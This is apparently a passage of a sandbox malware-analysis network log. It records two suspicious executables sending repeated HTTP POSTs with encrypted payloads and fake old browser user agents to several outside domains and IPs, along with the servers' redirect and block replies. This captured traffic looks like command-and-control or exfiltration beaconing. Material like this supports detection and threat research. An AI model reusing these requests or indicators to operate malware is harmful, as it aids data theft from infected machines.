75 69 73 44 79 2b 56 49 6c 6b 41 64 74 [TRUNCATED] Data Ascii: q4DRE4CoZgtVaEZvU4FILLNnow5oYaIDtOeq5tfTl9NM+Kbhg3QDtBKAYJn3wlJKsQ43dCtvjJTGYqZvfAOFQvIG4tYUtpTPz9rE9zbF37kHs+QJ7YJyoqoj6uHYkbo3EEfRpyvYBUmEtnt12Id5D7IRDY3ldIVB8Q/JE4bSoDgZT1YPWzJTIwWBtuejmkubLZRv1I6xyOJYrtO1iPG+DAx15CuMNM9uHsFGB03Maj6MphzaPhAiOyBQsQRcEqHVH0Tiv8uhBeUKNzXyvhMMP6rJOd5TE4IhYAaeShRUHvC/nZY/frxumlRfNUxxBeuqHduAJuisDy+VIlkAdtn+BbdnzA1Zd297UMKjBzVXlAUV4PW8GETpkMaQzKQF3HqgDIhiJ2MpOLP6St/Jn3hsfW6W5H3rzyW7ONmjOSzWnfZc7TKOUrzWh8W0V9o5Es0zWBJzvItHzP5PgDYzqtqzlfEUaWD875tgaKnCaLD/CP8kwTwYZtxg/T/5G3gTVVJtDrjKfKRe6BWUfHHmEBK6i811MRYwLMc/YAMgO8XkDXa+ti8YlJ0Bk8QMfc3S5w==
Oct 25, 2024 11:18:08.161387920 CEST	1236	IN	HTTP/1.1 403 Forbidden Date: Fri, 25 Oct 2024 09:18:08 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4514 Connection: keep-alive X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: max-age=15 Expires: Fri, 25 Oct 2024 09:18:23 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=95iGnzgawSKJ0X1%2BJtXpiTiITxLd1xAWi5bYETTBoDn35ejiMBBD2i3kPdsCIQUncTiziQJl6RysgVzxn5iQHG2vQi73FV8HjoKLyp7H08WtLLB2dUPedUU4iFDTXCCv"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d811e148c4a45f0-DFW Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 74 74 65 6e 74 69 6f 6e [TRUNCATED] Data Ascii: <!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if gt IE 8]>...> <html class="no-js" lang="en-US"> ...<![endif]--><head><title>Attention Required! \| Cloudflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" co
Oct 25, 2024 11:18:08.161442995 CEST	1236	IN	Data Raw: 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 22 63 66 5f 73 74 79 6c 65 73 Data Ascii: ntent="width=device-width,initial-scale=1" /><link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/cf.errors.css" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--
Oct 25, 2024 11:18:08.161494017 CEST	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.captcha-container --> <div class="cf-section cf-wrapper"> <div class="cf-columns two">
Oct 25, 2024 11:18:08.161530018 CEST	1236	IN	Data Raw: 2d 63 65 6e 74 65 72 20 73 6d 3a 74 65 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 Data Ascii: -center sm:text-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8d811e148c4a45f0</strong></span> <span class="cf
Oct 25, 2024 11:18:08.161566019 CEST	210	IN	Data Raw: 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 64 29 7d 29 28 29 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 65 72 72 6f 72 2d 66 6f 6f 74 65 72 20 2d 2d 3e 0a 0a 0a 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f Data Ascii: OMContentLoaded",d)})();</script></div>... /.error-footer --> </div>... /#cf-error-details --> </div>... /#cf-wrapper --> <script> window._cf_translation = {}; </script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.5	52826	104.21.88.198	80	1896	C:\Users\user\pigalicapi.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:18:07.599225998 CEST	769	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 536 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.tvtools.fi Cache-Control: no-cache Data Raw: 65 31 4c 6c 36 4f 2b 54 62 51 73 4c 39 43 41 37 44 72 42 48 37 50 69 33 47 41 6b 46 44 34 4a 51 6b 32 4a 39 56 79 33 47 55 56 77 2f 6b 71 61 44 70 42 57 6d 75 6d 47 31 66 76 6d 4c 70 52 4c 4a 58 37 65 56 34 4b 5a 64 55 76 73 57 4c 49 34 46 7a 76 41 77 54 6f 38 61 44 72 58 34 4e 6e 2f 4d 6c 79 2f 72 6a 54 42 54 6e 4a 4e 78 35 43 45 78 4c 4d 79 75 64 44 4a 37 54 71 49 33 68 6c 36 4e 73 53 61 6a 2b 4e 70 79 42 45 38 4f 51 34 65 78 48 64 36 33 30 53 39 78 7a 7a 7a 6c 65 5a 72 78 76 44 4a 32 4f 46 56 57 31 4e 6a 42 43 39 59 4f 62 75 72 7a 49 54 43 6d 48 44 4f 50 55 51 74 39 57 6c 48 48 5a 55 4d 2f 37 4b 56 6d 34 44 63 38 36 78 43 77 55 70 68 42 6b 71 67 39 33 47 57 68 4e 49 72 65 30 45 52 54 49 30 4b 76 65 79 66 36 4b 45 46 5a 71 34 7a 4f 51 62 78 46 48 73 68 59 58 67 66 70 37 69 50 55 68 2f 75 39 52 30 67 55 4d 6f 44 71 68 34 43 6b 6c 52 61 55 53 4a 6c 55 74 56 58 33 61 5a 36 57 47 70 56 70 43 65 4a 47 50 4b 69 70 71 51 63 77 79 73 45 75 51 57 33 55 66 7a 6c 70 33 46 6c 73 49 42 42 48 36 2f 54 71 66 33 [TRUNCATED] Data Ascii: e1Ll6O+TbQsL9CA7DrBH7Pi3GAkFD4JQk2J9Vy3GUVw/kqaDpBWmumG1fvmLpRLJX7eV4KZdUvsWLI4FzvAwTo8aDrX4Nn/Mly/rjTBTnJNx5CExLMyudDJ7TqI3hl6NsSaj+NpyBE8OQ4exHd630S9xzzzleZrxvDJ2OFVW1NjBC9YOburzITCmHDOPUQt9WlHHZUM/7KVm4Dc86xCwUphBkqg93GWhNIre0ERTI0Kveyf6KEFZq4zOQbxFHshYXgfp7iPUh/u9R0gUMoDqh4CklRaUSJlUtVX3aZ6WGpVpCeJGPKipqQcwysEuQW3Ufzlp3FlsIBBH6/Tqf3XYhBUEYpaTEeWlrN2TkQbzLbd0lQ2MPVVBpusYzXZuHjQ1AlYbVbKpzGktV+ixPdjyfEws0L7S6SC9lgbT7WIbkTHdZXMbN2zZ9VdkZJyrAZjZzPrh/8m0WIyS476lwBgYzPpcNuykrBOenQ1mSu5qzu2JjFrn10Wvus31uECmf9g8x35ZdyvD7a8Tbo7k3K5A8J8=
Oct 25, 2024 11:18:08.215356112 CEST	798	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 25 Oct 2024 09:18:08 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Fri, 25 Oct 2024 10:18:08 GMT Location: https://mediatailor.fi/fi/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xX0RO%2F6c24eeX%2BXKCmXovW23gyd3BqiQccPFVf4SwlF9XKMbBge8n%2FOoSBoYuHxNo4HHCbwTkOFUfYm4ggeKyixEmWTdPUsGWOFYBnDlFzQm3WId%2Fx3En%2BJCSwkGN%2BLYVA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d811e14edac6c3b-DFW Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>
Oct 25, 2024 11:18:08.237467051 CEST	769	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 536 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.tvtools.fi Cache-Control: no-cache Data Raw: 65 31 4c 6c 36 4f 2b 54 62 51 73 4c 39 43 41 37 44 72 42 48 37 50 69 33 47 41 6b 46 44 34 4a 51 6b 32 4a 39 56 79 33 47 55 56 77 2f 6b 71 61 44 70 42 57 6d 75 6d 47 31 66 76 6d 4c 70 52 4c 4a 58 37 65 56 34 4b 5a 64 55 76 73 57 4c 49 34 46 7a 76 41 77 54 6f 38 61 44 72 58 34 4e 6e 2f 4d 6c 79 2f 72 6a 54 42 54 6e 4a 4e 78 35 43 45 78 4c 4d 79 75 64 44 4a 37 54 71 49 33 68 6c 36 4e 73 53 61 6a 2b 4e 70 79 42 45 38 4f 51 34 65 78 48 64 36 33 30 53 39 78 7a 7a 7a 6c 65 5a 72 78 76 44 4a 32 4f 46 56 57 31 4e 6a 42 43 39 59 4f 62 75 72 7a 49 54 43 6d 48 44 4f 50 55 51 74 39 57 6c 48 48 5a 55 4d 2f 37 4b 56 6d 34 44 63 38 36 78 43 77 55 70 68 42 6b 71 67 39 33 47 57 68 4e 49 72 65 30 45 52 54 49 30 4b 76 65 79 66 36 4b 45 46 5a 71 34 7a 4f 51 62 78 46 48 73 68 59 58 67 66 70 37 69 50 55 68 2f 75 39 52 30 67 55 4d 6f 44 71 68 34 43 6b 6c 52 61 55 53 4a 6c 55 74 56 58 33 61 5a 36 57 47 70 56 70 43 65 4a 47 50 4b 69 70 71 51 63 77 79 73 45 75 51 57 33 55 66 7a 6c 70 33 46 6c 73 49 42 42 48 36 2f 54 71 66 33 [TRUNCATED] Data Ascii: e1Ll6O+TbQsL9CA7DrBH7Pi3GAkFD4JQk2J9Vy3GUVw/kqaDpBWmumG1fvmLpRLJX7eV4KZdUvsWLI4FzvAwTo8aDrX4Nn/Mly/rjTBTnJNx5CExLMyudDJ7TqI3hl6NsSaj+NpyBE8OQ4exHd630S9xzzzleZrxvDJ2OFVW1NjBC9YOburzITCmHDOPUQt9WlHHZUM/7KVm4Dc86xCwUphBkqg93GWhNIre0ERTI0Kveyf6KEFZq4zOQbxFHshYXgfp7iPUh/u9R0gUMoDqh4CklRaUSJlUtVX3aZ6WGpVpCeJGPKipqQcwysEuQW3Ufzlp3FlsIBBH6/Tqf3XYhBUEYpaTEeWlrN2TkQbzLbd0lQ2MPVVBpusYzXZuHjQ1AlYbVbKpzGktV+ixPdjyfEws0L7S6SC9lgbT7WIbkTHdZXMbN2zZ9VdkZJyrAZjZzPrh/8m0WIyS476lwBgYzPpcNuykrBOenQ1mSu5qzu2JjFrn10Wvus31uECmf9g8x35ZdyvD7a8Tbo7k3K5A8J8=
Oct 25, 2024 11:18:08.366859913 CEST	794	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 25 Oct 2024 09:18:08 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Fri, 25 Oct 2024 10:18:08 GMT Location: https://mediatailor.fi/fi/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RpqMpKu7BMADgdgBmTLkN4b1Acp%2B%2BJsdIOPe0SpwcWbnUwgD%2FO8ZQnNOLCPijkln2vUewB7LsyZIGX4b3FsyOyhpk3ugHUz53pw50dZm7ECSPf8k7pfpFpioQr%2BkKm65kA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d811e15eea66c3b-DFW Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.5	52827	185.15.129.58	80	1896	C:\Users\user\pigalicapi.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:18:07.645741940 CEST	794	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 560 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.item-pr.com Cache-Control: no-cache Data Raw: 46 6f 31 74 2b 5a 70 74 64 67 73 4c 48 5a 6c 58 76 65 41 6e 74 64 33 5a 6b 54 65 4b 72 65 79 6b 62 76 6d 39 50 63 53 6a 33 62 6f 6e 70 2f 64 53 47 63 5a 63 6a 7a 50 47 73 7a 35 31 42 37 53 61 47 6f 53 57 4d 50 78 59 4b 49 6e 6c 39 32 46 36 58 37 72 32 4e 53 33 69 78 61 52 4b 53 76 67 69 79 4f 4d 33 52 50 52 78 70 69 77 48 52 52 6a 4f 57 35 45 46 30 72 79 37 69 37 71 77 78 44 68 66 7a 73 38 44 58 74 33 4d 39 45 32 37 64 4a 50 79 72 64 48 35 54 64 66 35 6d 35 38 36 2b 39 44 71 34 36 57 5a 63 30 5a 38 55 4a 6c 71 51 79 39 55 6e 36 30 42 44 4c 64 4c 76 67 70 4e 6b 56 6e 36 42 50 47 67 32 39 57 38 55 47 53 77 4a 53 65 44 37 72 4d 61 4a 55 6e 32 4f 55 47 74 34 56 54 4d 62 4f 33 6a 77 51 78 78 61 79 55 53 57 55 52 56 42 31 51 61 72 58 48 70 6c 58 6b 34 53 53 79 63 63 6d 4f 57 30 2f 66 4a 76 48 4b 45 2b 72 6b 75 6d 51 4e 58 39 39 51 76 35 33 6e 43 66 43 45 47 6b 66 4e 4f 4a 4b 6f 5a 36 79 68 70 34 56 43 63 37 42 2f 37 74 73 72 37 53 43 49 47 55 6b 66 63 48 49 45 69 52 70 63 66 78 67 35 37 64 76 34 58 50 75 [TRUNCATED] Data Ascii: Fo1t+ZptdgsLHZlXveAntd3ZkTeKreykbvm9PcSj3bonp/dSGcZcjzPGsz51B7SaGoSWMPxYKInl92F6X7r2NS3ixaRKSvgiyOM3RPRxpiwHRRjOW5EF0ry7i7qwxDhfzs8DXt3M9E27dJPyrdH5Tdf5m586+9Dq46WZc0Z8UJlqQy9Un60BDLdLvgpNkVn6BPGg29W8UGSwJSeD7rMaJUn2OUGt4VTMbO3jwQxxayUSWURVB1QarXHplXk4SSyccmOW0/fJvHKE+rkumQNX99Qv53nCfCEGkfNOJKoZ6yhp4VCc7B/7tsr7SCIGUkfcHIEiRpcfxg57dv4XPuE1LeOAlnO3uLngAKouPb52AiQ517K1CfeOuAvMeQTsyiMsV33yrvb3h8qCHDRvDTpOuOz2h/CbMU8KqnmmdQkIRJvEgI0N23WiI0YcedLXmTdfQBR/pLdMvzQ9hKZ1AnTAD+icooHXD+fy8m7M+7BZTYThXuA9SIhrowGYC6lOWzhDCO80yYzXDsq1KlmfH+4gtVIJPZtTAWnrUZZFdLy0o3o6Lng=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.5	52830	139.59.171.124	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:18:07.902121067 CEST	831	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 596 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.nunomira.com Cache-Control: no-cache Data Raw: 46 53 69 57 72 38 6a 72 4a 46 5a 75 36 43 31 42 43 35 7a 49 57 44 75 79 4b 2f 5a 51 61 6f 68 61 66 50 4d 73 51 46 5a 31 33 46 57 5a 45 59 4d 2f 4c 55 2f 44 7a 32 5a 5a 4d 70 32 69 35 79 51 63 66 6e 6b 6f 32 41 76 68 56 67 56 79 6c 31 46 47 7a 72 4b 4f 32 6e 51 63 36 61 69 79 58 59 30 6b 4e 36 75 75 66 37 70 57 48 45 6c 61 39 79 52 30 53 4b 48 6a 35 65 2f 78 49 38 67 4b 62 62 69 51 34 77 4d 72 64 38 4d 41 70 57 4e 78 32 70 6f 53 41 79 61 36 63 41 64 45 51 57 32 77 51 78 77 58 6d 7a 74 78 6a 50 78 65 70 51 58 68 70 55 71 74 61 56 4a 4d 6b 59 55 65 4a 41 6a 4e 32 46 52 44 5a 70 49 68 7a 67 33 62 4d 45 6a 2f 43 6a 66 6b 44 74 45 46 74 64 32 57 46 4d 32 56 55 2b 4a 6a 77 38 48 4c 69 67 2f 6c 58 64 50 57 42 59 69 4a 77 68 41 39 46 61 49 6e 32 54 5a 30 6c 45 57 38 78 6a 73 70 46 70 39 61 76 68 6b 72 33 68 51 35 2f 76 5a 7a 4b 6b 5a 57 44 71 35 37 75 71 33 79 33 36 63 79 5a 30 74 6b 52 2f 4e 41 58 79 4b 5a 52 64 75 70 35 47 5a 55 41 53 68 76 44 56 63 71 36 61 44 6f 4f 50 66 30 59 4a 68 41 61 79 71 45 4c 77 [TRUNCATED] Data Ascii: FSiWr8jrJFZu6C1BC5zIWDuyK/ZQaohafPMsQFZ13FWZEYM/LU/Dz2ZZMp2i5yQcfnko2AvhVgVyl1FGzrKO2nQc6aiyXY0kN6uuf7pWHEla9yR0SKHj5e/xI8gKbbiQ4wMrd8MApWNx2poSAya6cAdEQW2wQxwXmztxjPxepQXhpUqtaVJMkYUeJAjN2FRDZpIhzg3bMEj/CjfkDtEFtd2WFM2VU+Jjw8HLig/lXdPWBYiJwhA9FaIn2TZ0lEW8xjspFp9avhkr3hQ5/vZzKkZWDq57uq3y36cyZ0tkR/NAXyKZRdup5GZUAShvDVcq6aDoOPf0YJhAayqELwuHWV6FuhR1uMWhTOL1lFp+FI0cfvtw7cLUcotRMMCfpHFm2Oz1s/K84DTdKaMo+1JuRFHvN8T7iMVxThxrBHfDEk5leAfGRZI9PttB/6WnU2gLj6vSjtXO96XWnoLVjbTXKXbQ0lUDKNtbQlg4ikRO3Nxh+dPWKLq0bd91ALnId194jYWiSCdUVkyhABYpwiinEEbGLzFGuvFercwcJvlCANiSYtfJnZyNTamxsxJDcRvO9BR2hGLMyMVVAVvsoxuJ
Oct 25, 2024 11:18:08.717261076 CEST	355	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Fri, 25 Oct 2024 09:18:08 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Location: https://www.nunomira.com/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>
Oct 25, 2024 11:18:08.736819029 CEST	831	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 596 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.nunomira.com Cache-Control: no-cache Data Raw: 46 53 69 57 72 38 6a 72 4a 46 5a 75 36 43 31 42 43 35 7a 49 57 44 75 79 4b 2f 5a 51 61 6f 68 61 66 50 4d 73 51 46 5a 31 33 46 57 5a 45 59 4d 2f 4c 55 2f 44 7a 32 5a 5a 4d 70 32 69 35 79 51 63 66 6e 6b 6f 32 41 76 68 56 67 56 79 6c 31 46 47 7a 72 4b 4f 32 6e 51 63 36 61 69 79 58 59 30 6b 4e 36 75 75 66 37 70 57 48 45 6c 61 39 79 52 30 53 4b 48 6a 35 65 2f 78 49 38 67 4b 62 62 69 51 34 77 4d 72 64 38 4d 41 70 57 4e 78 32 70 6f 53 41 79 61 36 63 41 64 45 51 57 32 77 51 78 77 58 6d 7a 74 78 6a 50 78 65 70 51 58 68 70 55 71 74 61 56 4a 4d 6b 59 55 65 4a 41 6a 4e 32 46 52 44 5a 70 49 68 7a 67 33 62 4d 45 6a 2f 43 6a 66 6b 44 74 45 46 74 64 32 57 46 4d 32 56 55 2b 4a 6a 77 38 48 4c 69 67 2f 6c 58 64 50 57 42 59 69 4a 77 68 41 39 46 61 49 6e 32 54 5a 30 6c 45 57 38 78 6a 73 70 46 70 39 61 76 68 6b 72 33 68 51 35 2f 76 5a 7a 4b 6b 5a 57 44 71 35 37 75 71 33 79 33 36 63 79 5a 30 74 6b 52 2f 4e 41 58 79 4b 5a 52 64 75 70 35 47 5a 55 41 53 68 76 44 56 63 71 36 61 44 6f 4f 50 66 30 59 4a 68 41 61 79 71 45 4c 77 [TRUNCATED] Data Ascii: FSiWr8jrJFZu6C1BC5zIWDuyK/ZQaohafPMsQFZ13FWZEYM/LU/Dz2ZZMp2i5yQcfnko2AvhVgVyl1FGzrKO2nQc6aiyXY0kN6uuf7pWHEla9yR0SKHj5e/xI8gKbbiQ4wMrd8MApWNx2poSAya6cAdEQW2wQxwXmztxjPxepQXhpUqtaVJMkYUeJAjN2FRDZpIhzg3bMEj/CjfkDtEFtd2WFM2VU+Jjw8HLig/lXdPWBYiJwhA9FaIn2TZ0lEW8xjspFp9avhkr3hQ5/vZzKkZWDq57uq3y36cyZ0tkR/NAXyKZRdup5GZUAShvDVcq6aDoOPf0YJhAayqELwuHWV6FuhR1uMWhTOL1lFp+FI0cfvtw7cLUcotRMMCfpHFm2Oz1s/K84DTdKaMo+1JuRFHvN8T7iMVxThxrBHfDEk5leAfGRZI9PttB/6WnU2gLj6vSjtXO96XWnoLVjbTXKXbQ0lUDKNtbQlg4ikRO3Nxh+dPWKLq0bd91ALnId194jYWiSCdUVkyhABYpwiinEEbGLzFGuvFercwcJvlCANiSYtfJnZyNTamxsxJDcRvO9BR2hGLMyMVVAVvsoxuJ
Oct 25, 2024 11:18:08.970736027 CEST	355	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Fri, 25 Oct 2024 09:18:08 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Location: https://www.nunomira.com/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.5	52831	89.161.163.246	80	1896	C:\Users\user\pigalicapi.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:18:08.047902107 CEST	795	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 564 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.abart.pl Cache-Control: no-cache Data Raw: 39 70 66 32 65 69 4c 55 74 41 74 64 2b 53 65 7a 6c 55 56 31 6d 4b 56 70 58 48 4f 79 71 67 64 75 64 6f 7a 69 37 55 54 57 32 70 5a 51 4e 44 37 76 34 54 4f 6a 75 72 73 38 6c 63 6a 34 39 5a 59 63 6c 61 50 4f 79 6d 69 70 46 74 75 58 4f 46 6a 78 48 55 31 58 71 4e 44 68 2f 48 53 72 7a 39 43 67 32 4f 6f 77 72 72 35 4b 67 62 54 31 4d 75 50 71 6b 6e 56 52 6c 36 49 78 4a 4d 71 66 2b 43 36 78 36 53 51 2f 7a 70 42 73 70 4a 4a 33 47 32 43 6a 6a 57 4a 31 64 55 6d 74 7a 44 4f 39 37 53 52 4e 79 53 43 73 73 42 38 52 46 61 62 59 7a 48 30 56 30 4a 51 64 57 54 6d 63 45 72 68 33 5a 53 39 35 4e 38 56 56 6e 51 41 79 31 49 62 73 37 6e 52 33 65 4e 61 73 43 4a 6e 6d 6b 61 4d 4c 5a 39 75 35 6b 52 75 30 69 39 5a 2b 57 75 6a 43 2b 53 42 7a 69 75 48 62 52 49 52 73 4d 32 73 59 6a 37 37 63 7a 47 